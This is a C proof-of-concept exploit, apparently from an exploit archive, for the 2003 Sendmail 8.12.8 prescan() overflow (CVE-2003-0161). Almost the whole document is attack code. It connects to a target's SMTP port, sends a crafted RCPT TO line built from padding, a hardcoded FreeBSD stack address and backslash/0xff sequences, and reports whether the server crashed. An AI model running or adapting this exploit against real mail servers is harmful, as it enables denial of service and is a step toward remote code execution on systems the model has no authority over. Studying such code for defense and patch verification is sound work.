Sendmail 8.12.8 (BSD) - 'Prescan()' Remote Command Execution - CVE-2003-0161

/*
 * Sendmail 8.12.8 prescan() PROOF OF CONCEPT exploit by bysin
 *
 * This is to prove that the bug in sendmail 8.12.8 and below is vulnerable.
 * On sucessful POC exploitation the program should crash with the following:
 *
 * Program received signal SIGSEGV, Segmentation fault.
 * 0x5c5c5c5c in ?? ()
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

int maxarch=1;
struct arch {
    char *os; // The OS
    int pos; // The position of ebp in the stack, with the last byte being 0x00
    int apos; // The amount of bytes after pvpbuf where ebp is located
    unsigned long addr; // The pointer to the addr buffer
} archs[] = {
    {"FreeBSD 4.7-RELEASE",180,28,0xbfbfdad1},
};


/////////////////////////////////////////////////////////

#define BUFSIZE 50096

void header() {
    printf("Sendmail 8.12.8 prescan() exploit by bysin\n\n");
}

void printtargets() {
    unsigned long i;
    header();
    printf("\t  Target\t Addr\t\t OS\n");
    printf("\t-------------------------------------------\n");
    for (i=0;i<maxarch;i++) printf("\t* %d\t\t 0x%08x\t %s\n",i,archs[i].addr,archs[i].os);
    printf("\n");
}

void printresponse(char *a) {
    printf("%s\n",a);
}

void writesocket(int sock, char *buf) {
    if (send(sock,buf,strlen(buf),0) <= 0) {
        printf("Error writing to socket\n");
        exit(0);
    }
    printresponse(buf);
}

void readsocket(int sock, int response) {
    char temp[BUFSIZE];
    memset(temp,0,sizeof(temp));
    if (recv(sock,temp,sizeof(temp),0) <= 0) {
        printf("Error reading from socket\n");
        exit(0);
    }
    if (response != atol(temp)) {
        printf("Bad response: %s\n",temp);
        exit(0);
    }
    else printresponse(temp);
}

void relay(int sock) {
    while(1) {
        char temp[BUFSIZE];
        memset(temp,0,sizeof(temp));
        if (recv(sock,temp,sizeof(temp),0) <= 0) {
            printf("Server vulnerable (crashed)\n");
            exit(0);
        }
        printresponse(temp);
        if (atol(temp) == 553) {
            printf("Not exploitable\n");
            exit(0);
        }
    }
}

int main(int argc, char **argv) {
    struct sockaddr_in server;
    unsigned long ipaddr,i,j,m;
    int sock,target;
    char tmp[BUFSIZE],buf[BUFSIZE],*p,*pos=NULL;
    if (argc <= 2) {
        printf("%s <target ip> <target number>\n",argv[0]);
        printtargets();
        return 0;
    }
    target=atol(argv[2]);
    if (target < 0 || target >= maxarch) {
        printtargets();
        return 0;
    }

    header();

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Unable to create socket\n");
        exit(0);
    }
    server.sin_family = AF_INET;
    server.sin_port = htons(25);
    printf("Resolving address... ");
    fflush(stdout);
    if ((ipaddr = inet_addr(argv[1])) == -1) {
        struct hostent *hostm;
        if ((hostm=gethostbyname(argv[1])) == NULL) {
            printf("Unable to resolve address\n");
            exit(0);
        }
        memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
    }
    else server.sin_addr.s_addr = ipaddr;
    memset(&(server.sin_zero), 0, 8);
    printf("Address found\n");
    printf("Connecting... ");
    fflush(stdout);
    if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
        printf("Unable to connect\n");
        exit(0);
    }
    printf("Connected\n");
    printf("Sending exploit... \n");
    fflush(stdout);

    readsocket(sock,220);

    writesocket(sock,"HELO yahoo.com\r\n");
    readsocket(sock,250);

    writesocket(sock,"MAIL FROM: <a@yahoo.com>\r\n");
    readsocket(sock,250);

    memset(buf,0,sizeof(buf));
    strcpy(buf,"RCPT TO: ");
    p=buf+strlen(buf);
    for (i=1,j=0,m=0;i<1242;i++) {
        if (!(i%256)) {
            *p++=';';
            j++;
        }
        else {
            if (j < 4) *p++='A';
            else {
                if (m == archs[target].pos) pos=p;
                //if (m > archs[target].pos) *p++='B'; else
                *p++='A';
                m++;
            }
        }
    }
    if (pos) memcpy(pos,(char*)&archs[target].addr,4);
    *p++=';';
    for (i=0;i<archs[target].apos;i++) {
        *p++='\\';
        *p++=0xff;
    }
    strcat(buf,"\r\n");
    writesocket(sock,buf);

    relay(sock);
}


// milw0rm.com [2003-04-30]